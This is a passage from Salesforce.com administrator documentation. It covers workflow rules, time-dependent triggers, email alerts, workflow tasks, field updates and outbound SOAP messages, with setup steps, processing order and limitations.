• Workflow rules on custom objects are automatically deleted if the custom object is deleted.
• You can't package workflow rules with time triggers.
• Workflow rules trigger automatically and are invisible to the user. Alternatively, approval processes allow users to submit
records for approval.
• The order in which actions are executed is not guaranteed. Field update actions are executed first, followed by other actions.
• You can't create email alerts for workflow rules on activities.
• You can't create outbound messages for workflow rules on junction objects.
• To create workflow rules that update case fields based on new case comments or incoming email messages, choose Case
Comment or Email Message from the Select Object drop-down list; Email Message is only available if Email-to-Case
or On-Demand Email-to-Case is enabled. You can only create email message workflow rules for field updates, and case
comment workflow rules for field updates, email alerts, and outbound messages. For example, you can create a workflow
rule so that an email marked as Is Incoming changes its case's Status from Closed to New.
• Saving or creating records can trigger more than one rule.
• The following actions don't trigger workflow rules:

- Mass replacing picklist values


- Mass updating address fields
- Mass updating divisions
- Changing the territory assignments of accounts and opportunities
- Converting leads to person accounts

• Changes you make to records while using Connect Offline are evaluated by workflow rules when you synchronize.
• Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules

• If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex
triggers, validation rules, workflow rules, or roll-up summary fields.

Tip: You can use the System Log console to debug workflow rules. The System Log console lets you view debug log
details and information about workflow rules and actions , such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.

1406
Create Managing Workflow Actions

Managing Workflow Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view workflow rules, email alerts, tasks, field updates, and “View Setup and Configuration”
outbound messages:
To create or change workflow rules, email alerts, tasks, field “Customize Application”
updates, and outbound messages:

To manage your workflow actions:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules to access the workflow rules list page.
2. Click the name of the rule with the workflow actions you want to edit.
3. Click Edit in the Workflow Actions section.
4. Manage your workflow actions as follows:

• Click Edit next to any workflow action or time trigger to modify it.
• Click Remove next to any workflow action to remove it from the rule. This disassociates the workflow action from the
workflow rule but does not delete the workflow action.
• Click Delete next to any time trigger to remove it from the rule. This deletes the time trigger and removes its associated
actions from the workflow rule but does not delete the workflow actions. The workflow actions are still available when
you click Add Workflow Action and choose the Select Existing Action option.
• Click Add Workflow Action in the Immediate Workflow Actions section to add an immediate workflow action to
the workflow rule.
• Click Add Time Trigger to add a time trigger to the workflow rule.
• Click Add Workflow Action next to a time trigger to add time-dependent workflow actions to the time trigger.

5. Click Done.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Selecting Existing Actions

1407
Create Time-Dependent Action and Time Trigger Considerations

Time-Dependent Action and Time Trigger Considerations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define, edit, or delete time-dependent actions and time “Customize Application”
triggers:

When creating time-dependent actions and time triggers for workflow rules, consider the following:

Defining Time Triggers


• When defining a time trigger, use standard and custom date and date/time fields defined for the object. Specify time using
days and hours.
• You can add actions to existing time triggers.

Time Trigger Processing


• Salesforce.com evaluates time-based workflow on the organization's time zone, not the users'. Users in different time zones
may see differences in behavior.
• Salesforce.com does not necessarily execute time triggers in the order they appear on the workflow rule detail page. Workflow
rules list time triggers that use the Before field first, followed by time triggers that use the After field.
• Salesforce.com does not display time-dependent action controls on the workflow rule edit page if you set the workflow
rule evaluation criteria to Every time a record is created or updated.
• If you change a date field that is referenced by an unfired time trigger in a workflow rule that has been evaluated,
Salesforce.com recalculates the unfired time triggers associated with the rule. For example, if a workflow rule is scheduled
to alert the opportunity owner seven days before the opportunity close date and the close date is set to 2/20/2011,
Salesforce.com sends the alert on 2/13/2011. If the close date is updated to 2/10/2011 and the time trigger has not fired,
Salesforce.com reschedules the alert for 2/3/2011. If Salesforce.com recalculates the time triggers to a date in the past,
Salesforce.com triggers the associated actions shortly after you save the record.
• If a workflow rule has a time trigger set for a time in the past, Salesforce.com queues the associated time-dependent actions
to execute sometime within the hour, depending on system usage. For example, if a workflow rule on opportunities is
configured to send an email alert seven days before the close date and you create an opportunity record with the close date
set to today, Salesforce.com sends the email alert within four hours after you create the opportunity.
• Time-dependent actions remain in the workflow queue only as long as the workflow rule criteria are still valid. If a record
no longer matches the rule criteria, Salesforce.com removes the time-dependent actions queued for that record. For example,
an opportunity workflow rule may specify:
- A criteria set to “Opportunity: Status not equals to Closed Won, Closed Lost.”
- An associated time-dependent action with a time trigger set to seven days before the opportunity close date.
If a record that matches the criteria is created on July 1st and the Close Date is set to July 30th, the time-dependent
action is scheduled for July 23rd. However, if the opportunity is set to “Closed Won” or “Closed Lost” before July 23rd,
the time-dependent action is automatically removed from the queue.
• Salesforce.com ignores time triggers that reference null fields.
• Time-dependent actions can automatically be queued again if the record is updated and the evaluation criteria is When a
record is created, or when a record is edited and did not previously meet the entry

1408
Create Time-Dependent Action and Time Trigger Considerations

criteria. Using the previous example, if the opportunity status is changed from Closed Lost to Prospecting and the
workflow rule evaluation criteria is When a record is created, or when a record is edited and did
not previously meet the entry criteria, Salesforce.com reevaluates the time triggers and adds the appropriate
actions to the workflow queue.
• Deleting a record that has pending actions removes the pending actions from the workflow queue. You cannot restore the
actions, even if you undelete the record.
• If the evaluation criteria is Only when a record is created, the workflow rule evaluates its time triggers only once.
If the record that fired the rule changes to no longer meet the evaluation criteria, Salesforce.com removes the pending
actions from the queue and never reapplies the rule to the record.
• You can deactivate a workflow rule at any time. If the rule has pending actions in the workflow queue, editing the record
that triggered the rule removes the pending actions from the queue. If you don't edit the record, the pending actions are
processed even though the rule has been deactivated.
• Time-based workflow rules are not reevaluated if an Apex post trigger executed as a result of a workflow rule or approval
process updates a field so its value no longer meets the time-based workflow rule criteria.
• Configuring the Due Date to “Rule Trigger Date” sets time triggers and workflow task due dates relative to when the
workflow rule evaluation criteria are met. For example, if the task due date is “Rule Trigger Date plus 10 days” and the
evaluation criteria are met on January 1st, Salesforce.com sets the task due date to January 11th.

Using Time-Dependent Workflow with Leads


• You can't convert a lead that has pending actions.
• If Validation and Triggers from Lead Convert is enabled, existing time-based workflow actions on leads aren't triggered
during lead conversion.
• If a campaign member based on a lead is converted prior to the completion of time-based workflow actions associated with
it, Salesforce.com still performs the time-based workflow actions.

Limitations
• Time triggers do not support minutes or seconds.
• Time triggers cannot reference the following:
- DATE or DATETIME fields containing automatically derived functions, such as TODAY or NOW
- Formula fields that include related object merge fields

• Salesforce.com limits the number of time triggers an organization can execute per hour as follows:
- Enterprise Edition = 500
- Developer Edition = 50
- Unlimited Edition = 1,000
If an organization exceeds these limits, Salesforce.com defers the execution of the additional time triggers to the next hour.
For example, if an Unlimited Edition organization has 1,200 time triggers scheduled to execute between 4:00 PM and
5:00 PM, Salesforce.com processes 1,000 time triggers between 4:00 PM and 5:00 PM and the remaining 200 time triggers
between 5:00 PM and 6:00 PM.
• You can't archive a product or price book that has pending actions.
• You can't add or remove time triggers if:
- The workflow rule is active.
- The workflow rule is deactivated but has pending actions in the queue.
- The workflow rule trigger type is set to Every time a record is created or edited.

1409
Create Customizing Workflow and Approval Settings

- The workflow rule is included in a package.

See Also:
Managing Workflow Rules
Examples of Workflow Rules
Creating Workflow Rules
Managing Workflow Actions

Customizing Workflow and Approval Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit workflow and approval settings: “Customize Application”

To customize settings for workflow rules and approval processes:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Settings.


2. Select a Default Workflow User that you want Salesforce.com to display with a workflow rule when the user that
triggered the rule is not active.
If your organization uses time-dependent actions in workflow rules, you must designate a default workflow user.
Salesforce.com displays this username in the Created By field for tasks, the Sending User field for email, and the
Last Modified By field for field updates. Salesforce.com does not display this username for outbound messages. If a
problem occurs with a pending action, the default workflow user receives notification email from Salesforce.com.
3. To enable email approval response for your organization, select the Enable Email Approval Response checkbox.
The email approval response feature gives users the ability to approve or reject email approval requests by replying to the
email.
Note: Before enabling email approval response, note that you cannot use this feature with approval processes in
which the assigned approver is a queue, or in a multi-step approval process in which the next approver is manually
chosen after the first step. Also, users that use Microsoft Word as their email editor must add the comments to
the end of the first line of the reply email instead of the second.

4. Click Save.

When you enable email approval response, Salesforce.com uses the following default email template for approval processes
unless you specify a custom email template:

[name of requesting user] has requested your approval for


the following item.

To approve or reject this item, reply to this email with


the word APPROVE, APPROVED, YES, REJECT, REJECTED, or NO

1410
Create Managing Email Alerts

in the first line of the email message, or click this link:

[link to approval page]

If replying via email you can also add comments on the


second line. The comments will be stored with the approval
request in salesforce.com.

Note: For salesforce.com to process your response the word


APPROVE, APPROVED, YES, REJECT, REJECTED, or NO must be in
the very first line of the reply email. Also, any comment
must be in the second line.

If you select a custom email template when configuring an approval response, be sure it contains the above information so
users know how to correctly reply to the email approval request.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Email Approval Response FAQ

Managing Email Alerts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view email alerts: “View Setup and Configuration”
To create or change email alerts: “Customize Application”

Email alerts are emails generated by a workflow rule or approval process and sent to designated recipients whenever specific
business actions trigger the workflow rule or approval process. Email alerts contain the standard text and list of recipients for
an email. You must specify an email template for email alerts. To use a standard global From address for email alerts, like
support@company.com, set up an organization-wide address first.

To get started using email alerts, click Setup ➤ Create ➤ Workflow & Approvals ➤ Email Alerts.

• Click New Email Alert to create a new email alert.


• Select an existing email alert to view details about it, create a cloned email alert, or view all the rules using it.
• Click Edit to make changes to an existing email alert.

1411
Create Managing Email Alerts

• Click Del to delete a email alert.

See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones
Managing Workflow and Approvals
Managing Workflow Rules
Differences Between Auto-Response Rules and Workflow Alerts

Creating Email Alerts for Workflow, Approvals, or Milestones


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change workflow rules: “Customize Application”
To create or change email alerts: “Customize Application”

To create email alerts:

1. For workflow and approvals, click Setup ➤ Create ➤ Workflow & Approvals ➤ Email Alerts.
For milestones on entitlement processes, click Setup ➤ Customize ➤ Entitlement Management ➤ Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Email Alert.
3. Configure the email alert:

a. Enter a description for this email alert.


b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed
package installations. The requirement for uniqueness is only within the selected object type. You can have actions of
the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects,
such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and
alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
c. If available, choose the object for this email alert.
Salesforce.com uses this object when generating merge field values for email templates with workflow rules and approval
processes. Also, you can define the recipients of this email alert using contact and user lookup fields that are relevant
to that object. For example, if you select Contract, you can define the contract signer as a recipient. The object is read
only if the new email alert is associated with an approval process or workflow rule for a particular object.
Tip: To create workflow rules for case comments so that comments added to cases send email alerts when a
rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule.

d. Choose an email template.

1412
Create Managing Email Alerts

Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is used
as the approval assignment template. If you use the template for any other email alert action—in either workflow
rules or approval processes—the merge fields will return a null value.

e. Check the Protected Component check box to mark the alert as protected.
f. Select who should receive this email alert. The options are:

• Account Owner—The user listed as the account owner of either the account itself or the account associated with
the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts, and any
custom object that is a child of the account object. Also, an account owner must be specified for the associated
account. If you select another type of object or the associated account does not have an account owner, Salesforce.com
sends the email alert to the record owner instead.
• Account Team—All users assigned to a particular account team role.

Note: The Account Team option is always available; however, emails are only sent when the rule is
associated with the account object or any of its immediate child objects.

• Case Team—All users assigned to a particular case team role.


• Creator—The user who created the record.
• Customer Portal User—All users associated with a Customer Portal.
• Email Field—An email address field on the selected object, such as the Email field on lead records or custom
email fields.
Note: When creating email alerts for campaign members, Email Field refers to the email field on the
lead or contact that the campaign member is based on.

• Owner—The record owner.


• Partner User—All users associated with a partner portal.
• Portal Role—All users assigned to a particular portal role.
• Portal Role and Subordinates—All users assigned to a particular portal role, plus all users in roles below
that role.
• Public Groups—The users in a particular public group.
• Related Contact—An associated contact on the record. For example, you can select the Customer Signed
By field for contracts that contain the name of the contract signer.
• Related Lead or Contact Owner—A campaign member's lead or contact owner.
• Related User—An associated user on the record. For example, contract records have an Activated By field
that contains the name of the user that activated the contract.
• Role—All of the users assigned a particular role.
• Role and Internal Subordinates—All users in a particular role, plus all users in roles below that role,
excluding partner portal and Customer Portal users.
• Role and Subordinates—All users in a particular role, plus all users in roles below that role.
• Users—A particular user.
• Sales Team—A member of the sales team.

Note: The Sales Team option is always available; however, it only works for email alerts configured for
opportunities. It does not work for email alerts configured for child objects of opportunities.

1413
Create Managing Tasks for Workflow and Approvals

The recipients that match your search results appear in the Available Recipients list.
g. Select the recipients who should receive this email alert in the Available Recipients list and click Add.
Note: If you change the object after selecting recipients, Salesforce.com clears the Selected Recipients list.

h. Optionally, enter up to five additional email addresses.


i. Optionally, change the From Email Address to:

• The email address of the default workflow user.


• A previously configured and verified organization-wide address. This allows you to use a standard global email
address for your organization (such as support@company.com) instead of the default From field, which is the
email address of the person who updates the record.
Only verified organization-wide email addresses display in the From Email Address picklist.

Note: If you select Make this the default From email address for this object's email alerts, it overrides the
From Email Address for all email alerts associated with that object. Upon saving, a dialog box prompts you
to confirm your selection. You can still customize individual email alerts to use a different From Email
Address.

j. Click Save.

Note: If your email recipient is a record owner and the owner of the record is a queue, the queue email receives
the email alert. If the queue is set up so that email is sent to all members, queue members are notified as well. If
no queue email is specified, only queue members are notified.

4. To set email alerts into action, associate them with a workflow rule, approval process, or entitlement process.

See Also:
Managing Workflow and Approvals
Entitlement Management Overview

Managing Tasks for Workflow and Approvals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view tasks: “View Setup and Configuration”
To create or change tasks: “Customize Application”

Tasks determine the details of a task assigned by a workflow rule or approval process. Create tasks and then associate them
with the workflow rules or approval processes that will trigger them. When the business conditions for that workflow rule or

1414
Create Managing Tasks for Workflow and Approvals

approval process are met, it assigns tasks to designated users with the selected Subject, Status, Priority, and Due Date
of the workflow task.
To get started using tasks, click Setup ➤ Create ➤ Workflow & Approvals ➤ Tasks.

• Click New Task to create a new workflow task.


• Select an existing task to view details about it, create a cloned task, or view rules using it.
• Click Edit to make changes to an existing task.
• Click Del to delete a task.

Note: Before you create a task for a custom object, make sure the custom object tracks activities.

See Also:
Creating Tasks for Workflow, Approvals, or Milestones
Managing Workflow and Approvals
Managing Workflow Rules

Creating Tasks for Workflow, Approvals, or Milestones


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change tasks: “Customize Application”
To create or change workflow rules: “Customize Application”

To create your tasks:

1. For workflow and approvals, click Setup ➤ Create ➤ Workflow & Approvals ➤ Tasks.
For milestones on entitlement processes, click Setup ➤ Customize ➤ Entitlement Management ➤ Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Task.
3. Select a type of record and click Next. Remember, tasks can only be associated with workflow rules or approval processes
for the same object type.
Note: When creating tasks for custom objects, only custom objects that track activities are available.

4. Configure the task:

a. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role, or
account team role, depending on the type of record you chose.

1415
Create Managing Tasks for Workflow and Approvals

Note:

• If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the person who
triggered the rule is assigned the task.
• If the subject was translated, Salesforce.com creates the task in the assignee's language If you checked Notify
Assignee for the task, Salesforce.com sends the email in the assignee's language. However, if only the
comments field was translated, Salesforce.com creates the task and sends the email in the language of the
user who triggered the task.
• If a custom object has a master-detail relationship with a standard object, the owner of the custom object
record is automatically set to the owner of the master standard object record. For example, if a custom object
called “Expenses” has a master-detail relationship with Accounts, the owner of each expense record is the
owner of the account for the expense.
• If the assignee of a workflow task is a role and more than one user belongs to that role, the record owner
becomes the task assignee, regardless of his or her role. We recommend that you do not assign tasks to roles
with multiple users. Assigning tasks to roles with one user allows you to easily change the user in that role
without modifying the workflow rule.
• When a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead
that are assigned to that user, except email alerts, are reassigned to the lead owner. Workflow tasks assigned
to users other than the lead owner and lead converter are not changed.

b. Enter a subject for the task.


c. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed
package installations. The requirement for uniqueness is only within the selected object type. You can have actions of
the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects,
such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and
alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
d. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee.
Note: Configuring the Due Date to “Rule Trigger Date” sets time triggers and workflow task due dates
relative to when the workflow rule evaluation criteria are met. For example, if the task due date is “Rule Trigger
Date plus 10 days” and the evaluation criteria are met on January 1st, Salesforce.com sets the task due date to
January 11th.

e. Check Notify Assignee to send an email notification when the task is assigned.
f. Check the Protected Component check box to mark the task as protected. For more information, see the Force.com
Quick Reference for Developing Packages.
g. Enter any comments to add to the task.
h. Click Save.

5. To set tasks into action, associate them with a workflow rule, approval process, or entitlement process.

1416
Create Managing Field Updates

Note: You may notice that all your tasks include a Created By field. For tasks, this field contains the name of the
person who saved the record that triggered the rule to assign the task.

See Also:
Managing Workflow and Approvals
Entitlement Management Overview

Managing Field Updates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field updates: “View Setup and Configuration”
To define, edit, or delete field updates: “Customize Application”

Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval
processes, or entitlement processes.
Before you begin using field updates, review Field Update Considerations on page 1420. To get started using field updates, click
Setup ➤ Create ➤ Workflow & Approvals ➤ Field Updates.

• Click New Field Update to define a new field update.


• Select an existing field update to view details about it or view workflow rules and approval processes that use it.
• Click Edit to make changes to an existing field update.
• Click Del to delete a field update.

See Also:
Defining Field Updates
Managing Workflow and Approvals
Managing Workflow Rules

1417
Create Managing Field Updates

Defining Field Updates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define, edit, or delete field updates: “Customize Application”

Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval
processes, or entitlement processes. Before you begin, review Field Update Considerations on page 1420.
Note: For standard objects, workflow rules can only perform field updates on the object related to the rule. The
exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For
all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the
related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For
example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master
object) to “Closed” when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change
the status of a case from “Awaiting Customer Response“ to “In Progress” when a customer adds a case comment.

To define field updates:

1. For workflow and approvals, click Setup ➤ Create ➤ Workflow & Approvals ➤ Field Updates.
For milestones on entitlement processes, click Setup ➤ Customize ➤ Entitlement Management ➤ Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Field Update.
3. Configure the field update.

a. Enter a name for this field update.


b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed
package installations. The requirement for uniqueness is only within the selected object type. You can have actions of
the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects,
such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and
alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
c. Enter a description for this field update.
d. Define the field update, including the object associated with the workflow rule or approval process, the field to update,
and the value to apply. Note that the field to update may be on a related object in a master-detail relationship. Fields
are shown only for the target object that you select.
Tip: To create workflow rules for case comments or email messages so that case comments or emails
automatically update fields on associated cases, select Case Comment or Email Message in the Object
drop-down list when creating a new workflow rule and select Case in the Field to Update list. Email-to-Case
or On-Demand Email-to-Case must be enabled for your organization to use Email Message in a workflow
rule.
When cases are updated by an email-triggered workflow rule, the updated case can trigger:

1418
Create Managing Field Updates

• Workflow rules
• Validation rules
• Updates to roll-up summary fields
• Escalation rules
• Apex triggers
• Entitlement processes

The update case cannot trigger:

• Assignment rules
• Auto-response rules

e. Check the Protected Component check box to mark the field update as protected. For more information, see the
Force.com Quick Reference for Developing Packages.
f. Specify the new field value. The available options depend on the type of field you are updating. You can:

• Choose A specific value, and enter the value in the space provided.
• Choose A blank value (null) if you want Salesforce.com to remove any existing value and leave the field
blank. This option is not available for required fields, checkboxes, and some other types of fields.
• For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object records,
you can also choose a queue for this field. Optionally, select Notify Assignee to send an email to the new record
owner.
• For checkboxes, choose True to select the checkbox and False to deselect it.
• For picklists, select a specific value from the drop-down list, or select the value above or below the current value
based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above or below
may be different for users in other languages.
• Choose Use a formula to set the new value to calculate the value based on an expression, merge fields,
or other values.

a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose the
field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert
Field drop-down list.

Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

b. To insert case merge fields so that email messages update the associated case fields, click Insert Field on the
Rule Criteria section and choose Email Message > Parent Case.
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use
the examples in Operators and Functions on page 931.
d. Optionally, insert a function from the Functions list. Functions are pre-built formulas that you can customize
with your input parameters. See Operators and Functions on page 931 for a description of each operator and
function.

1419
Create Managing Field Updates

g. Click Save.

See Also:
Managing Field Updates
Managing Workflow and Approvals
Entitlement Management Overview

Field Update Considerations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define, edit, or delete field updates: “Customize Application”

When creating field updates for workflow rules or approval processes, consider the following:

Field Update Processing


• Field updates occur before email alerts, tasks, and outbound messages.
• Field updates occur after case assignment, lead assignment, auto-response, and case escalation rules.
• For standard objects, workflow rules can only perform field updates on the object related to the rule. The exceptions are
that both Case Comments and Email Messages can perform cross-object field updates on Cases. For all custom objects,
however, you can create workflow actions where a change to a detail record updates a field on the related master record.
Cross-object field updates only work for custom-to-custom master-detail relationships. For example, in a custom recruiting
application, create a workflow rule that sets the status of an application (the master object) to “Closed” when a candidate
(the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from “Awaiting
Customer Response“ to “In Progress” when a customer adds a case comment.
• The cross-object field update function may depend on certain critical updates being active. Click Setup ➤ Critical Updates
to see if your organization requires any updates.
• Field updates function independently of field-level security. Therefore, a workflow rule can update fields even though they
are hidden on the user's page layout.
• The result of a field update is unpredictable when a single workflow rule includes multiple field updates that apply different
values to the same field.
• Field updates may affect the information in a related list. For example, if a field such as the Amount or Close Date of
an opportunity is set to be updated, it will affect the Stage History related list on opportunities.
• If a user encounters a field update error when saving a record, you can use the debug log to see which field update failed.
The debug log stops when a failure occurs.
• For reminder fields on tasks and events:
- Field updates can set the reminder for a task or event but they cannot use the due date of a task or the scheduled time
of an event.
- Formulas for date/time values are calculated in days. Divide the value by 1440—the number of minutes in a day—to
express the value in minutes. For example, the formula Now()-7 means seven days ago, while Now()-7/1440 means
seven minutes ago.

1420
Create Managing Field Updates

• If your organization uses multiple currencies, currency fields are updated using the record's currency. If you choose to
update a field based on a formula, any values in your formula are interpreted in the currency of the record.
• Before changing the type of a custom field, make sure that it is not the target of a field update or referenced in a field
update formula that would be invalidated by the new type.
• Field updates are tracked in the History related list if you have set history tracking on those fields.
• Because updates to records based on workflow rules do not trigger validation rules, workflow rules can invalidate previously
valid fields.

Field Updates on Opportunities and Contracts


• You can define field updates for the Stage field on opportunities, but be aware of how this field affects the Type and
Forecast Category fields. See Picklists with Additional Information on page 800 for information on the relationship
between these fields.
• You can define field updates using the Amount field on opportunities but it will only apply to those opportunities that do
not have products. Adding products to an opportunity changes the Amount field to a read-only field that is automatically
calculated and not affected by that field update.
• You can define field updates for the Status field on contracts. However, the value of this field may affect the value of the
Status Category field as well.
Note: The Status field cannot be updated by approval processes. If you want to use the contract status as part
of an approval process, Salesforce.com recommends creating a custom status field.

Field Update Limitations


• The results of a field update cannot trigger additional workflow rules or other rules such as validation, assignment,
auto-response, or escalation rules.
• Read-only fields like formula or auto-number fields are not available for field updates.
• The Language picklist field on multilingual solutions is not available for field updates.
• Email message workflow rules can only be associated with field updates.
• Field update actions that update fields on related objects are supported only for use with workflow rules. Approval processes
cannot use cross-object field update actions.
• If a field update references a specific user, you cannot deactivate that user. For example, if your field update is designed to
change the owner of an account to Bob Smith, change the field update before deactivating Bob Smith.
• You cannot delete a custom field that is referenced by a field update.
• Some fields, such as Related To and Private fields on activities, are not available for field updates.
• You can update long text area fields, but the option to insert A specific value restricts you to entering up to 255
characters.
• You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details,
see About Universally Required Fields on page 925.
• Avoid creating a field update for contracts or orders that changes the Status field to any value other than Approved.
Tip: Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules

1421
Create Managing Outbound Messages

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Defining Field Updates
Managing Field Updates

Managing Outbound Messages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, define, edit, or delete outbound messages: “Customize Application”

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
To get started using outbound messages, click Setup ➤ Create ➤ Workflow & Approvals ➤ Outbound Messages.

• Click New Outbound Message to define a new outbound message.


• Click View Message Delivery Status to track the status of an outbound message. See Tracking Outbound Message Delivery
Status on page 701.
• Select an existing outbound message to view details about it or view workflow rules and approval processes that use it.
• Click Edit to make changes to an existing outbound message.
• Click Del to delete an outbound message.

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

When working with outbound messages, note the following:

• A single SOAP message can include up to 100 notifications. Each notification contains an ID that uniquely identifies a
record, and a reference to the data in the record. Therefore, if the information in the record changes after the notification
is sent, but before the notification is delivered, only the updated information will be delivered.
• Messages are queued until they are sent, to preserve message reliability.
• If the endpoint is unavailable, messages will stay in the queue until sent successfully, or until they are 24 hours old. After
24 hours, messages are dropped from the queue.
• If a message cannot be delivered, the interval between retries increases exponentially, up to a maximum of two hours
between retries.
• Messages are retried independent of their order in the queue. This may result in messages being delivered out of order.
• You cannot build an audit trail using outbound messages. While each message should be delivered at least once, it may be
delivered more than once. Also, it may not be delivered at all if delivery cannot be done within 24 hours. Finally, as noted

1422
Create Managing Outbound Messages

above, the source object may change after a notification is sent but before it is delivered, so the endpoint will only receive
the latest data, not any intermediate changes.
• Encrypted custom fields are not available in outbound messages.
• You can create workflow rules and approval processes on junction objects; however, you cannot create outbound messages
on junction objects.

See Also:
Defining Outbound Messages
Tracking Outbound Message Delivery Status
Managing Workflow and Approvals
Managing Workflow Rules
Web Services API Developer's Guide
Metadata API Developer's Guide

Defining Outbound Messages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define, edit, or delete outbound messages: “Customize Application”

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
When you associate an outbound message with a workflow rule, approval process, or entitlement process, the outbound message
sends the selected information to the associated endpoint URL whenever the workflow rule or approval process is triggered.
Once the endpoint URL receives the message, it can take the information from the message and process it, assuming that the
Web service has been configured appropriately.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:

• 80: This port only accepts HTTP connections.


• 443: This port only accepts HTTPS connections.
• 7000-10000 (inclusive): These ports accept HTTP or HTTPS connections.

Note: Outbound messages cannot be associated with workflow rules on custom junction objects.

To define outbound messages:

1. For workflow and approvals, click Setup ➤ Create ➤ Workflow & Approvals ➤ Outbound Messages.
For milestones on entitlement processes, click Setup ➤ Customize ➤ Entitlement Management ➤ Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.

1423
Create Managing Outbound Messages

2. Click New Outbound Message.


3. Choose the object that has the information you want included in the outbound message, and click Next.
Tip: To create workflow rules for case comments so that comments added to cases send outbound messages when
a rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule.

4. Configure the outbound message.

a. Enter a name for this outbound message.


b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed
package installations. The requirement for uniqueness is only within the selected object type. You can have actions of
the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects,
such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and
alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
c. Enter a description for this outbound message.
d. Enter an endpoint URL for the recipient of the message. Salesforce.com sends a SOAP message to this endpoint.
e. Select the Salesforce.com user to use when sending the message. The chosen user controls data visibility for the message
that is sent to the endpoint.
f. Check the Protected Component check box to mark the outbound message as protected. For more information,
see the Force.com Quick Reference for Developing Packages.
g. Select Send Session ID if you want the Salesforce.com session ID included in the outbound message. Include the
session ID in your message if you intend to make API calls and you do not want to include a username and password.
Sending a username and password is less secure than sending a session ID.
h. Select Add failures to failed outbound message related list if you want this message to move to
the failed outbound messages related list after all retries have been attempted. If you do not see this option, failed
outbound messages notifications have not been enabled for your organization. Contact your salesforce.com representative.
i. Select the fields you want included in the outbound message and click Add.

5. Click Save, and review the outbound message detail page:

• Note the automatically generated API Version field set to the current API version when the outbound message was
